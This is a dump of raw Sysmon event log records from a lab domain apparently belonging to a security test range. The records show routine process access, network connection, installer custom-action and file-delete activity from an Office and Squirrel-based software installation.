14:44:29.836{7BD73061-65B2-613B-1600-00000000F001}12961324C:\Windows\system32\svchost.exe{7BD73061-6F4D-613B-0E09-00000000F001}5492C:\Windows\SysWOW64\rundll32.exe0x1478C:\Windows\SYSTEM32\ntdll.dll+a6134|c:\windows\system32\themeservice.dll+144a|c:\windows\system32\themeservice.dll+4175|c:\windows\system32\themeservice.dll+3379|c:\windows\system32\themeservice.dll+31a3|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043068Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.508{7BD73061-664E-613B-B000-00000000F001}4184NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunkd.exeC:\Program Files\SplunkUniversalForwarder\var\run\serverclass.xmlMD5=086DB1CFB481058C3EF9F48D868FE74F,SHA256=BB95DB224236BED3122F53106B6D7A2930FE56435B98D0E225AAE99BDF5D7CF8,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000043067Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:26.663{7BD73061-6DFF-613B-DF06-00000000F001}5796C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exeATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59234-false93.184.220.29-80http 354300x800000000000000043066Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:26.487{7BD73061-6E00-613B-E006-00000000F001}5992C:\Program Files\Common Files\microsoft shared\ClickToRun\OfficeClickToRun.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59233-false20.189.173.5-443https 23542300x800000000000000043065Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.258{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=E3C04637E2A4EB3A2E14E0C5CB7AB350,SHA256=FDEB4E17A0C1B8FEEF0C4FC127A25CFF796C2A010E7109BDA9257C0DCFB5728C,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000043064Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.242{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043063Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.242{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043062Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.226{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043061Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.226{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043060Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.211{7BD73061-6D0B-613B-7F06-00000000F001}36602200C:\Windows\system32\csrss.exe{7BD73061-6F4D-613B-0E09-00000000F001}5492C:\Windows\SysWOW64\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000043059Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.211{7BD73061-6F4C-613B-0D09-00000000F001}34806608C:\Windows\syswow64\MsiExec.exe{7BD73061-6F4D-613B-0E09-00000000F001}5492C:\Windows\SysWOW64\rundll32.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+783d0|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Installer\MSI9722.tmp+28f8(wow64)|C:\Windows\Installer\MSI9722.tmp+247f(wow64)|C:\Windows\Installer\MSI9722.tmp+3a91(wow64)|C:\Windows\System32\msi.dll+a9703(wow64)|C:\Windows\System32\msi.dll+1800e6(wow64)|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 154100x800000000000000043058Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.211{7BD73061-6F4D-613B-0E09-00000000F001}5492C:\Windows\SysWOW64\rundll32.exe10.0.14393.4169 (rs1_release.210107-1130)Windows host process (Rundll32)Microsoft® Windows® Operating SystemMicrosoft CorporationRUNDLL32.EXErundll32.exe "C:\Windows\Installer\MSI9722.tmp",zzzzInvokeManagedCustomActionOutOfProc SfxCA_2464234 26613 SetupConfigCustomAction!Squirrel.SetupConfigCustomAction.SettingsCustomActions.RemoveRegKeyFromPreviousInstallC:\Windows\SysWOW64\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e72SystemMD5=A6ED2B5513A128315EC73A300D215759,SHA256=9980CC59993DCDE34A20411E3FACFEE8E7B159EE0D6FA510BCFAECC8532B4C02,IMPHASH=B79A26282DC6494FFDA9173E830DAB0A{7BD73061-6F4C-613B-0D09-00000000F001}3480C:\Windows\SysWOW64\msiexec.exeC:\Windows\syswow64\MsiExec.exe -Embedding BA79F9FB934272A33389522D367D3ED3 E Global\MSI0000 354300x800000000000000013835Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:44:27.569{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50117-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 17141700x800000000000000043057Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-CreatePipe2021-09-10 14:44:29.195{7BD73061-6F4C-613B-0D09-00000000F001}3480\SfxCA_2464234C:\Windows\syswow64\MsiExec.exe 11241100x800000000000000043056Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.localDLL2021-09-10 14:44:29.148{7BD73061-6F42-613B-0209-00000000F001}6612C:\Program Files\Microsoft Office\root\integration\Addons\OneDriveSetup.exeC:\Users\Administrator\AppData\Local\Microsoft\OneDrive\18.151.0729.0013\amd64\FileCoAuthLib64.dll2021-09-10 14:44:29.148 10341000x800000000000000043055Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.101{7BD73061-6F4C-613B-0D09-00000000F001}34806216C:\Windows\syswow64\MsiExec.exe{7BD73061-6E8E-613B-1107-00000000F001}4116C:\Windows\system32\msiexec.exe0x100000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\wow64.dll+124f4|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6ecfc(wow64)|C:\Windows\System32\KERNELBASE.dll+c69b8(wow64)|C:\Windows\syswow64\MsiExec.exe+7291|C:\Windows\syswow64\MsiExec.exe+7873|C:\Windows\syswow64\MsiExec.exe+9201|C:\Windows\System32\KERNEL32.DLL+162c4(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b69(wow64)|C:\Windows\SYSTEM32\ntdll.dll+61b34(wow64) 10341000x800000000000000043054Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:29.008{7BD73061-65B2-613B-0C00-00000000F001}8364488C:\Windows\system32\svchost.exe{7BD73061-6F4C-613B-0D09-00000000F001}3480C:\Windows\syswow64\MsiExec.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043106Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.987{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Telemetry.dllMD5=96E4D76DC7D009BAB22A0A266F0FF90E,SHA256=6EC8F5DCEC4B20DEE2EF2D2888BF64E1B5AEAE12C010497A357712EB6B6E972B,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 10341000x800000000000000043105Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.940{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043104Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.940{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+489d|C:\Windows\SYSTEM32\psmserviceexthost.dll+1a2ed|C:\Windows\SYSTEM32\psmserviceexthost.dll+11055|C:\Windows\SYSTEM32\psmserviceexthost.dll+108cf|C:\Windows\SYSTEM32\ntdll.dll+2063e|C:\Windows\SYSTEM32\ntdll.dll+1e854|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000043103Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.940{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 10341000x800000000000000043102Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.940{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x3600C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+966a|C:\Windows\SYSTEM32\psmserviceexthost.dll+776e|C:\Windows\SYSTEM32\psmserviceexthost.dll+12f1c|C:\Windows\SYSTEM32\psmserviceexthost.dll+15b2b|C:\Windows\SYSTEM32\psmserviceexthost.dll+1011d|C:\Windows\SYSTEM32\psmserviceexthost.dll+104a0|C:\Windows\SYSTEM32\psmserviceexthost.dll+13952|C:\Windows\SYSTEM32\psmserviceexthost.dll+16139|C:\Windows\SYSTEM32\psmserviceexthost.dll+16c03|C:\Windows\SYSTEM32\resourcepolicyserver.dll+1a70e|C:\Windows\SYSTEM32\resourcepolicyserver.dll+14fc2|C:\Windows\SYSTEM32\resourcepolicyserver.dll+c526|C:\Windows\SYSTEM32\resourcepolicyserver.dll+11927|C:\Windows\SYSTEM32\resourcepolicyserver.dll+b91a|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c 23542300x800000000000000043101Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.862{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\System.Spatial.resources.dllMD5=AD73B408CD61BC349ECB29D018A90F25,SHA256=60225714F5F67C7AFE03ADAD6B06DE02396F687F441813847C7C5D083AB10FBD,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043100Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.737{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\System.Spatial.dllMD5=539ECBA6ADC02BD1711E0C0883A502AF,SHA256=0B347698A279A88CF278759100A488941AAF7ACCA96C52194845290D08A26366,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043099Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.721{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Squirrel.dllMD5=96C4220CFC04133723BBDDD000F9D543,SHA256=E23F665D4568232D42A8A703CC01FE1DE3D78A3F3205F5690F5150FF4802C68B,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043098Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.721{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Splat.dllMD5=1975E684C48457D72F37696BB1B880E6,SHA256=7A6F255CF59D6594C8F5BC466956F09305A3A10C8D683E485C7E1F14371701C4,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043097Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.721{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\SetupConfigCustomAction.dllMD5=4CEF53DC44B26D27F0B0FB27B04DC91C,SHA256=828DBDAD2D952FEEE9AC8F92BFD9285CFAC51ABD0E0C18FDF3784439D7ED0E3C,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 10341000x800000000000000043096Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.721{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F4A-613B-0C09-00000000F001}3944C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000043095Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.705{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\NuGet.Squirrel.dllMD5=D02DE3045D666B4FD8D610038D2BB0DF,SHA256=8D37E10D71F70A569EDC28D8E6EB25F26A75B6EEDA083B3988D26B6B9896ECB8,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043094Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.690{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Mono.Cecil.dllMD5=7546ACEBC5A5213DEE2A5ED18D7EBC6C,SHA256=7744C9C84C28033BC3606F4DFCE2ADCD6F632E2BE7827893C3E2257100F1CF9E,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043093Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.674{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Web.XmlTransform.dllMD5=6AD7D1E92C9833F4BDDE6A4BC84F2E1A,SHA256=13DCF5066E00152238191314D4A46605204FFABDBB830BDD0C97DF3027D1261D,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043092Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.659{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Deployment.WindowsInstaller.dllMD5=233CA870E2530DA48897DB8FA6F1E3CF,SHA256=CA420FEF4909C10E2E95C8C899FA7D009892DDDF0B2424870236F1D0676E9165,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043091Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.643{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Deployment.Resources.dllMD5=343DC7A39956EC67A576C91D3765A1CD,SHA256=71D85BB2863F61CA11625E8BEE171114047D3F3E95792309E2040F3E139BAAE3,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043090Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.627{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Data.Services.Client.resources.dllMD5=7F92069CFD4EA63487C25D6ECD96D1F3,SHA256=36DD5A40328C39E032F2CDB3B0F8CCF384716E46488A4E3356A387F74C03357B,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043089Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.565{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Data.Services.Client.dllMD5=269BDEFAC8F933B2B133660BCEB81F13,SHA256=3CE056DD03533E4A8D9644B99ADE69B8CF6D5EDF3AB26FE2B9467AEC17A3C85D,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043088Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.549{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Data.OData.resources.dllMD5=055CACF6D88D81AD52A8E30E83235CD2,SHA256=8435109572A7548A21C20CC0A3054060127F49376EFAF548AAA303828F257217,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043087Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.549{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Data.OData.dllMD5=2D8AEF0300B61BB6A075950900AEFFE3,SHA256=B37D4E017BB6444E00F7A840BD3562D194D199288A0B8406B6DCB431A867B702,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043086Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.518{7BD73061-6F4D-613B-0E09-00000000F001}5492NT AUTHORITY\SYSTEMC:\Windows\SysWOW64\rundll32.exeC:\Windows\Installer\MSI9722.tmp-\Microsoft.Data.Edm.resources.dllMD5=72CB6CEFD5CE2E63EF929EC63B5C84AF,SHA256=AFCC051B49B4A102BD618D8F3E914346D402588E42333F71C2AB43C9F90F5590,IMPHASH=DAE02F32A21E03CE65412F6E56942DAAtruefalse - insufficient disk space 23542300x800000000000000043085Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:30.518{7BD73061-6F4D-613B-0E09-00000000F001}5492NT 